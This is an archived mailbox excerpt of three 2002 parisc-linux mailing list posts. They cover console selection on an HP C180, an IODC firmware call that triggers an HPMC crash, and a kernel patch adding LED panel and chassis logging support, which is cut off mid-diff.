X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@telocity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 oddness
Date: 03 Oct 2002 03:17:47 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <1033629468.626.67.camel@jerry>
References: <Pine.LNX.4.44.0210020925510.6688-100000@wolf.alaskatech>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621797 15096 80.91.229.3 (22 Nov 2014 02:03:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:17 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  3 01:17:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c003.snv.cp.net (h013.c003.snv.cp.net [209.228.32.227])
	by dsl2.external.hp.com (Postfix) with SMTP id 390B24829
	for <parisc-linux@parisc-linux.org>; Thu,  3 Oct 2002 01:17:54 -0600 (MDT)
Original-Received: (cpmta 12408 invoked from network); 3 Oct 2002 00:17:48 -0700
Original-Received: from 64.128.230.1 (HELO localhost.localdomain)
  by smtp.telocity.com (209.228.32.227) with SMTP; 3 Oct 2002 00:17:48 -0700
X-Sent: 3 Oct 2002 07:17:48 GMT
In-Reply-To: <Pine.LNX.4.44.0210020925510.6688-100000@wolf.alaskatech>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16384

Hi Tom,

On Wed, 2002-10-02 at 13:47, Tom wrote:
>
> the "tab after powerup" to switch console settings, but nothing. According
> to my C180 manual, having the monitor and keyboard on there should set the
> monitor as console, while removing them should send console to ttyS0.

If the console path in the PDC is explicitly set to one of the serial
ports, it will not automagically change back to graphics by connecting a
keyboard. The opposite is true, though: no/bad PS/2 keyboard, no/bad
graphics, or invalid PDC value (ie, graphics card moved/removed) & the
console will be directed to the first serial port.

Do the PS/2 keyboard LED's flash and Num_Lock LED light during POST?

Here's another suggestion: try removing all I/O cards, detaching all
disks, disconnecting the network, and removing all but 1 pair of SIMMs.

When you get the console back, you might want to enable "chassis codes" 
(to trace the POST codes) and disable "fast boot" (to get a better test
of RAM). I believe The service manual has a table which should be able
to give some indication of when the firmware chooses a console device.

http://h20000.www2.hp.com/bizsupport/TechSupport/DocumentIndex.jsp?contentType=SupportManual&docIndexName=hardware+manuals&locale=en_US&prodTypeId=43563&prodSeriesId=44435&prodSeriesName=hp+Visualize+c180+workstation

BTW, one of the nice things about the Allegro/Forte/Duet (4-digit
B/C/Jxxxx, less J2240) systems is the LCD display which indicates where
the console has be directed.

Good Luck.





From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IODC: I'm a bit fed up :-(
Date: Thu, 03 Oct 2002 17:10:35 +0200
Organization: H.P
Lines: 75
Approved: news@gmane.org
Message-ID: <3D9C5DEB.558EEAAD@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------9ABFDA84792DF67574837485"
X-Trace: ger.gmane.org 1416621797 15101 80.91.229.3 (22 Nov 2014 02:03:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:17 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  3 09:17:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7ACC34829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Oct 2002 09:17:49 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 465712CAF
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Oct 2002 17:17:42 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA15605 for <parisc-linux@lists.parisc-linux.org>; Thu, 3 Oct 2002 17:16:01 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16385

This is a multi-part message in MIME format.
--------------9ABFDA84792DF67574837485
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I'm loosing my nerves with iodc.....
I've found some interresting thing. For example, it is possible to obtain the HPA
of a modules directly by using a pdc call on PAT system. This one works fine:

struct device_path *dp
/* dp contain all needed informations */
memcpy(&mod,dp,sizeof(struct hardware_path));
pdc_status = mem_pdc_call( PDC_PAT_IO, PDC_PAT_IO_GET_PCI_CONFIG_FROM_HW, __pa(pdc_result), mod.num);

I've also succeded to retrive the ENTRY_INIT code. And I've double check that
this is truly an IODC code:
ret = mem_pdc_call(PDC_IODC, PDC_IODC_READ, __pa(pdc_result), hpa , 
       PDC_IODC_INDEX_DATA, __pa(iodc_module_info), iodc_data_size);
and then
ret = mem_pdc_call (PDC_IODC, PDC_IODC_READ, __pa(pdc_result), hpa,
       ENTRY_INIT, __pa(iodc_buffer_ptr), IODC_MAX, 0L, 0L, 0L, 0L, 0L);

-> I obtain the ENTRY_INIT iodc code in the ptr iodc_buffer_ptr.
this one has been reserved like this:
static unsigned long iodc_disk_buffer[IODC_MAX] __attribute__ ((aligned (8)));

Now I've really a problem. Each time I try to use this ENTRY_INIT code by using this call:
ret = real64_call(__pa(iodc_buffer_ptr),iodc_hpa, ENTRY_INIT_DEV,
                iodc_spa, __pa(dump_iodc_layer),__pa(pdc_result)); 

(I've also tried with real32_call, but it is exactly the same pb.)

it fail with HPMC !!!! I've analysed the HPMC and it has a problem while doing:
LDO             -64(r30),r29
LDO             20(r3),r2
LDB,O           0(r2),r17 -> HPMC

 
r29=ffffffffffffffff
r3=fffffffff8020000
r2=fffffffff8020014

(good news r3 is the base addr of my scsi card, sound good).
it is at offset iodc_buffer_ptr+0x1e3c
So it is inside the iodc code. It seems that it works on my
scsi card. But I don't have access to the firmware code. So if you have any idea, 
clue, anything, help !!!! I really think, that if I solve this pb, the dump will 
be shortly available.....

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------9ABFDA84792DF67574837485
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------9ABFDA84792DF67574837485--



From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux varenet
Date: Thu, 03 Oct 2002 17:34:45 +0200
Organization: ESIEE
Lines: 915
Approved: news@gmane.org
Message-ID: <3D9C6395.5070100@esiee.fr>
References: <20021003153330.14DD94829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------050007030408050205010406"
X-Trace: ger.gmane.org 1416621798 15102 80.91.229.3 (22 Nov 2014 02:03:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  3 09:37:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCB384829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Oct 2002 09:37:17 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id C245F49C9E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Oct 2002 17:37:13 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP id 10B9649C9D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Oct 2002 17:37:13 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16386

This is a multi-part message in MIME format.
--------------050007030408050205010406
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Thibaut Varene wrote:
> CVSROOT:	/var/cvs
> Module name:	linux
> Changes by:	varenet	02/10/03 09:33:30
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: Makefile firmware.c power.c process.c 
> 	                    setup.c traps.c 
> 	arch/parisc/mm : init.c 
> 	include/asm-parisc: pdc.h 
> Added files:
> 	arch/parisc/kernel: pdc_chassis.c 
> 	include/asm-parisc: pdc_chassis.h 
> 
> Log message:
> Implemented LED Panel support (Run/Attn/Fault) for E-class and PDC_PAT boxes.
> Implemented GSP Logging facility for PDC_PAT boxes.
> 

These changes have been successfully tested so far on A500, B2600, B132 
and E35.

We don't know yet if there are other machines that features the same LED 
Panel than the E series.

HTH,

-- 
Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/

--------------050007030408050205010406
Content-Type: text/plain;
 name="pdc_chassis.6.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="pdc_chassis.6.diff"

diff -Nru -x CVS linux.orig-pa20/Makefile linux/Makefile
--- linux.orig-pa20/Makefile	2002-09-24 03:00:24.000000000 +0200
+++ linux/Makefile	2002-10-02 21:12:09.000000000 +0200
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 4
 SUBLEVEL = 19
-EXTRAVERSION = -pa20
+EXTRAVERSION = -pa21
 
 KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)
 
diff -Nru -x CVS linux.orig-pa20/arch/parisc/kernel/Makefile linux/arch/parisc/kernel/Makefile
--- linux.orig-pa20/arch/parisc/kernel/Makefile	2002-07-05 00:41:50.000000000 +0200
+++ linux/arch/parisc/kernel/Makefile	2002-10-01 15:25:10.000000000 +0200
@@ -24,7 +24,7 @@
 		pa7300lc.o syscall.o entry.o sys_parisc.o firmware.o \
 		ptrace.o hardware.o inventory.o drivers.o semaphore.o \
 		signal.o hpmc.o real2.o parisc_ksyms.o unaligned.o \
-		processor.o power.o
+		processor.o power.o pdc_chassis.o
 
 export-objs	:= parisc_ksyms.o superio.o keyboard.o
 
diff -Nru -x CVS linux.orig-pa20/arch/parisc/kernel/firmware.c linux/arch/parisc/kernel/firmware.c
--- linux.orig-pa20/arch/parisc/kernel/firmware.c	2002-07-27 03:00:18.000000000 +0200
+++ linux/arch/parisc/kernel/firmware.c	2002-10-03 17:02:10.000000000 +0200
@@ -1,4 +1,4 @@
-/* arch/parisc/kernel/pdc.c  - safe pdc access routines
+/* arch/parisc/kernel/firmware.c  - safe pdc access routines
  *
  * Copyright 1999 SuSE GmbH Nuernberg (Philipp Rumpf, prumpf@tux.org)
  * portions Copyright 1999 The Puffin Group, (Alex deVries, David Kennedy)
@@ -177,6 +177,45 @@
 }
 
 /**
+ * pdc_pat_chassis_send_log - Sends a PDC PAT CHASSIS log message.
+ * @retval: -1 on error, 0 on success. Other value are PDC errors
+ *
+ * Must be correctly formatted or expect system crash
+ */
+#ifdef __LP64__
+int pdc_pat_chassis_send_log(unsigned long state, unsigned long data)
+{
+	if (!is_pdc_pat())
+		return -1;
+		
+	int retval = 0;
+	
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_PAT_CHASSIS_LOG, PDC_PAT_CHASSIS_WRITE_LOG, __pa(&state), __pa(&data));
+	spin_unlock_irq(&pdc_lock);
+	
+	return retval;
+}
+#endif
+
+/**
+ * pdc_chassis_disp - Updates display
+ * @retval: -1 on error, 0 on success
+ *
+ * Works on old PDC only (E class, others?)
+ */
+int pdc_chassis_disp(unsigned long disp)
+{
+	int retval = 0;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_CHASSIS, PDC_CHASSIS_DISP, disp);
+	spin_unlock_irq(&pdc_lock);
+
+	return retval;
+}
+
+/**
  * pdc_coproc_cfg - To identify coprocessors attached to the processor.
  * @pdc_coproc_info: Return buffer address.
  *
diff -Nru -x CVS linux.orig-pa20/arch/parisc/kernel/pdc_chassis.c linux/arch/parisc/kernel/pdc_chassis.c
--- linux.orig-pa20/arch/parisc/kernel/pdc_chassis.c	1970-01-01 01:00:00.000000000 +0100
+++ linux/arch/parisc/kernel/pdc_chassis.c	2002-10-03 17:25:35.000000000 +0200
@@ -0,0 +1,204 @@
+/*
+ *		arch/parisc/kernel/pdc_chassis.c
+ *
+ * 		Copyright (C) 2002 Laurent Canet <canetl@esiee.fr>
+ *		Copyright (C) 2002 Thibaut Varene <varenet@esiee.fr>
+ *
+ *
+ *		This program is free software; you can redistribute it and/or modify
+ *		it under the terms of the GNU General Public License as published by
+ *		the Free Software Foundation; either version 2, or (at your option)
+ *		any later version.
+ *      
+ *		This program is distributed in the hope that it will be useful,
+ *		but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *		MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *		GNU General Public License for more details.
+ *      
+ *		You should have received a copy of the GNU General Public License
+ *		along with this program; if not, write to the Free Software
+ *		Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+
+#undef PDC_CHASSIS_DEBUG
+#ifdef PDC_CHASSIS_DEBUG
+#define DPRINTK(fmt, args...)	printk(fmt, ## args)
+#else
+#define DPRINTK(fmt, args...)
+#endif
+
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/reboot.h>
+#include <linux/notifier.h>
+
+#include <asm/pdc_chassis.h>
+#include <asm/processor.h>
+
+static int pdc_chassis_old = 0;	
+
+
+/** 
+ * pdc_chassis_checkold() - Checks for old PDC_CHASSIS compatibility
+ * @pdc_chassis_old: 1 if old pdc chassis style
+ * 
+ * Currently, only E class is known to work with this
+ * Inspired by Christoph Plattner
+ */
+
+static void __init pdc_chassis_checkold(void)
+{
+	switch(CPU_HVERSION) {
+		case 0x480:		/* E25 */
+		case 0x481:		/* E35 */
+		case 0x482:		/* E45 */
+		case 0x483:		/* E55 */
+			pdc_chassis_old = 1;
+			break;
+
+		default:
+			break;
+	}
+	DPRINTK(KERN_DEBUG "pdc_chassis.c: pdc_chassis_checkold(); pdc_chassis_old = %d\n", pdc_chassis_old);
+}
+
+
+/**
+ * pdc_chassis_panic_event() - Called by the panic handler.
+ *
+ * As soon as a panic occurs, we should inform the PDC.
+ */
+
+static int pdc_chassis_panic_event(struct notifier_block *this,
+		        unsigned long event, void *ptr)
+{
+	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
+		return NOTIFY_DONE;
+}   
+
+
+static struct notifier_block pdc_chassis_panic_block = {
+	notifier_call: pdc_chassis_panic_event,
+	priority: INT_MAX,
+};
+
+
+/**
+ * parisc_reboot_event() - Called by the reboot handler.
+ *
+ * As soon as a reboot occurs, we should inform the PDC.
+ */
+
+static int pdc_chassis_reboot_event(struct notifier_block *this,
+		        unsigned long event, void *ptr)
+{
+	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
+		return NOTIFY_DONE;
+}   
+
+
+static struct notifier_block pdc_chassis_reboot_block = {
+	notifier_call: pdc_chassis_reboot_event,
+	priority: INT_MAX,
+};
+
+
+/**
+ * parisc_pdc_chassis_init() - Called at boot time.
+ */
+
+void __init parisc_pdc_chassis_init(void)
+{
+	DPRINTK(KERN_DEBUG "pdc_chassis.c: parisc_pdc_chassis_init()\n");
+
+	/* initialize panic notifier chain */
+	notifier_chain_register(&panic_notifier_list, &pdc_chassis_panic_block);
+
+	/* initialize reboot notifier chain */
+	register_reboot_notifier(&pdc_chassis_reboot_block);
+
+	/* Check for old LED Panel */
+	pdc_chassis_checkold();
+}
+
+
+/** 
+ * pdc_chassis_send_status() - Sends a predefined message to the chassis,
+ * and changes the front panel LEDs according to the new system state
+ * @retval: PDC call return value.
+ *
+ * Only machines with 64 bits PDC PAT and E-class are supported atm.
+ * 
+ * returns 0 if no error, -1 if no supported PDC is present or invalid message,
+ * else returns the appropriate PDC error code.
+ * 
+ * For a list of predefined messages, see asm-parisc/pdc_chassis.h
+ */
+
+int pdc_chassis_send_status(int message)
+{
+	/* Maybe we should do that in an other way ? */
+	int retval = 0;
+
+	DPRINTK(KERN_DEBUG "pdc_chassis.c: pdc_chassis_send_status(%d)\n", message);
+
+#ifdef __LP64__	/* pdc_pat_chassis_send_log is defined only when #ifdef __LP64__ */
+	if (is_pdc_pat()) {
+		switch(message) {
+			case PDC_CHASSIS_DIRECT_BSTART:
+				retval = pdc_pat_chassis_send_log(PDC_CHASSIS_PMSG_BSTART, PDC_CHASSIS_LSTATE_RUN_NORMAL);
+				break;
+			
+			case PDC_CHASSIS_DIRECT_BCOMPLETE:
+				retval = pdc_pat_chassis_send_log(PDC_CHASSIS_PMSG_BCOMPLETE, PDC_CHASSIS_LSTATE_RUN_NORMAL);
+				break;
+			
+			case PDC_CHASSIS_DIRECT_SHUTDOWN:
+				retval = pdc_pat_chassis_send_log(PDC_CHASSIS_PMSG_SHUTDOWN, PDC_CHASSIS_LSTATE_NONOS);
+				break;
+			
+			case PDC_CHASSIS_DIRECT_PANIC:
+				retval = pdc_pat_chassis_send_log(PDC_CHASSIS_PMSG_PANIC, PDC_CHASSIS_LSTATE_RUN_CRASHREC);
+				break;
+		
+			case PDC_CHASSIS_DIRECT_LPMC:
+				retval = pdc_pat_chassis_send_log(PDC_CHASSIS_PMSG_LPMC, PDC_CHASSIS_LSTATE_RUN_SYSINT);
+				break;
+
+			case PDC_CHASSIS_DIRECT_HPMC:
+				retval = pdc_pat_chassis_send_log(PDC_CHASSIS_PMSG_HPMC, PDC_CHASSIS_LSTATE_RUN_NCRIT);
+				break;
+
+			default:
+				retval = -1;
+		}
+	} else retval = -1;
+#else
+	if (pdc_chassis_old) {
+		switch (message) {
+			case PDC_CHASSIS_DIRECT_BSTART:
+			case PDC_CHASSIS_DIRECT_BCOMPLETE:
+				retval = pdc_chassis_disp(PDC_CHASSIS_DISP_DATA(OSTAT_RUN));
+				break;
+							
+			case PDC_CHASSIS_DIRECT_SHUTDOWN:
+				retval = pdc_chassis_disp(PDC_CHASSIS_DISP_DATA(OSTAT_SHUT));
+				break;
+			
+			case PDC_CHASSIS_DIRECT_HPMC:
+			case PDC_CHASSIS_DIRECT_PANIC:
+				retval = pdc_chassis_disp(PDC_CHASSIS_DISP_DATA(OSTAT_FLT));
+				break;
+		
+			case PDC_CHASSIS_DIRECT_LPMC:
+				retval = pdc_chassis_disp(PDC_CHASSIS_DISP_DATA(OSTAT_WARN));
+				break;
+
+			default:
+				retval = -1;
+		}
+	} else retval = -1;
+#endif
+		
+	return retval;
+}
diff -Nru -x CVS linux.orig-pa20/arch/parisc/kernel/power.c linux/arch/parisc/kernel/power.c
--- linux.orig-pa20/arch/parisc/kernel/power.c	2002-09-25 03:00:22.000000000 +0200
+++ linux/arch/parisc/kernel/power.c	2002-10-02 21:17:02.000000000 +0200
@@ -47,10 +47,10 @@
 
 #include <asm/gsc.h>
 #include <asm/pdc.h>
+#include <asm/pdc_chassis.h>
 #include <asm/irq.h>
 #include <asm/io.h>
 #include <asm/led.h>
-#include <asm/led.h>
 #include <asm/uaccess.h>
 
 
diff -Nru -x CVS linux.orig-pa20/arch/parisc/kernel/process.c linux/arch/parisc/kernel/process.c
--- linux.orig-pa20/arch/parisc/kernel/process.c	2002-06-27 23:34:44.000000000 +0200
+++ linux/arch/parisc/kernel/process.c	2002-10-02 21:18:20.000000000 +0200
@@ -27,6 +27,7 @@
 #include <linux/version.h>
 #include <linux/elf.h>
 #include <linux/personality.h>
+#include <linux/config.h>
 
 #include <asm/machdep.h>
 #include <asm/offset.h>
@@ -36,6 +37,7 @@
 #include <asm/io.h>
 #include <asm/gsc.h>
 #include <asm/processor.h>
+#include <asm/pdc_chassis.h>
 
 int hlt_counter;
 
@@ -118,6 +120,9 @@
 	/* "Normal" system reset */
 	pdc_do_reset();
 
+	/* set up a new led state on systems shipped with a LED State panel */
+	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
+	
 	/* Nope...box should reset with just CMD_RESET now */
 	gsc_writel(CMD_RESET, COMMAND_GLOBAL);
 
@@ -150,6 +155,8 @@
 	 * following call will immediately power off. */
 	pdc_soft_power_button(0);
 
+	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
+	
 	/* It seems we have no way to power the system off via
 	 * software. The user has to press the button himself. */
 
diff -Nru -x CVS linux.orig-pa20/arch/parisc/kernel/setup.c linux/arch/parisc/kernel/setup.c
--- linux.orig-pa20/arch/parisc/kernel/setup.c	2002-06-01 03:06:31.000000000 +0200
+++ linux/arch/parisc/kernel/setup.c	2002-10-02 21:18:59.000000000 +0200
@@ -41,6 +41,7 @@
 #include <asm/processor.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
+#include <asm/pdc_chassis.h>
 #include <asm/machdep.h>	/* for pa7300lc_init() proto */
 
 #define COMMAND_LINE_SIZE 1024
@@ -283,6 +284,11 @@
 	parisc_init_resources();
 	do_device_inventory();                  /* probe for hardware */
 
+	parisc_pdc_chassis_init();
+
+	/* set up a new led state on systems shipped LED State panel */
+	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BSTART);
+	
 	processor_init();
 	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
 			boot_cpu_data.cpu_count,
diff -Nru -x CVS linux.orig-pa20/arch/parisc/kernel/traps.c linux/arch/parisc/kernel/traps.c
--- linux.orig-pa20/arch/parisc/kernel/traps.c	2002-08-22 03:00:35.000000000 +0200
+++ linux/arch/parisc/kernel/traps.c	2002-10-02 21:19:58.000000000 +0200
@@ -34,6 +34,7 @@
 #include <asm/atomic.h>
 #include <asm/smp.h>
 #include <asm/pdc.h>
+#include <asm/pdc_chassis.h>
 
 #include "../math-emu/math-emu.h"	/* for handle_fpe() */
 
@@ -487,6 +488,10 @@
 
 	case  1:
 		/* High-priority machine check (HPMC) */
+
+		/* set up a new led state on systems shipped with a LED State panel */
+		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_HPMC);
+
 		parisc_terminate("High Priority Machine Check (HPMC)",
 				regs, code, 0);
 		/* NOT REACHED */
@@ -506,6 +511,9 @@
 
 	case  5:
 		/* Low-priority machine check */
+
+		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_LPMC);
+
 		flush_all_caches();
 		cpu_lpmc(5, regs);
 		return;
@@ -578,6 +586,9 @@
 	case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
 		/* TODO: Still need to add slow path emulation code here */
+		
+		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
+
 		fault_address = regs->ior;
 		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
 
@@ -690,6 +701,9 @@
 			force_sig_info(SIGBUS, &si, current);
 			return;
 		}
+		
+		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
+
 		parisc_terminate("Unexpected interruption", regs, code, 0);
 		/* NOT REACHED */
 	}
@@ -718,8 +732,11 @@
 	     * The kernel should never fault on its own address space.
 	     */
 
-	    if (fault_space == 0)
-		    parisc_terminate("Kernel Fault", regs, code, fault_address);
+	    if (fault_space == 0) {
+		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
+
+		parisc_terminate("Kernel Fault", regs, code, fault_address);
+	    }
 	}
 
 #ifdef CONFIG_KWDB
diff -Nru -x CVS linux.orig-pa20/arch/parisc/mm/init.c linux/arch/parisc/mm/init.c
--- linux.orig-pa20/arch/parisc/mm/init.c	2002-05-29 17:11:36.000000000 +0200
+++ linux/arch/parisc/mm/init.c	2002-10-02 20:56:05.000000000 +0200
@@ -21,6 +21,7 @@
 
 #include <asm/pgalloc.h>
 #include <asm/tlb.h>
+#include <asm/pdc_chassis.h>
 
 mmu_gather_t mmu_gathers[NR_CPUS];
 
@@ -409,6 +410,9 @@
 	}
 
 	printk("%luk freed\n", (unsigned long)(&__init_end - &__init_begin) >> 10);
+
+	/* set up a new led state on systems shipped LED State panel */
+	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
 }
 
 /*
diff -Nru -x CVS linux.orig-pa20/include/asm-parisc/pdc.h linux/include/asm-parisc/pdc.h
--- linux.orig-pa20/include/asm-parisc/pdc.h	2002-09-04 03:01:13.000000000 +0200
+++ linux/include/asm-parisc/pdc.h	2002-10-03 17:17:16.000000000 +0200
@@ -476,7 +476,7 @@
 #define PDC_TYPE_SYSTEM_MAP	 1 /* 32-bit, but supports PDC_SYSTEM_MAP */
 #define PDC_TYPE_SNAKE		 2 /* Doesn't support SYSTEM_MAP */
 
-#define is_pdc_pat()    (pdc_type == PDC_TYPE_PAT)
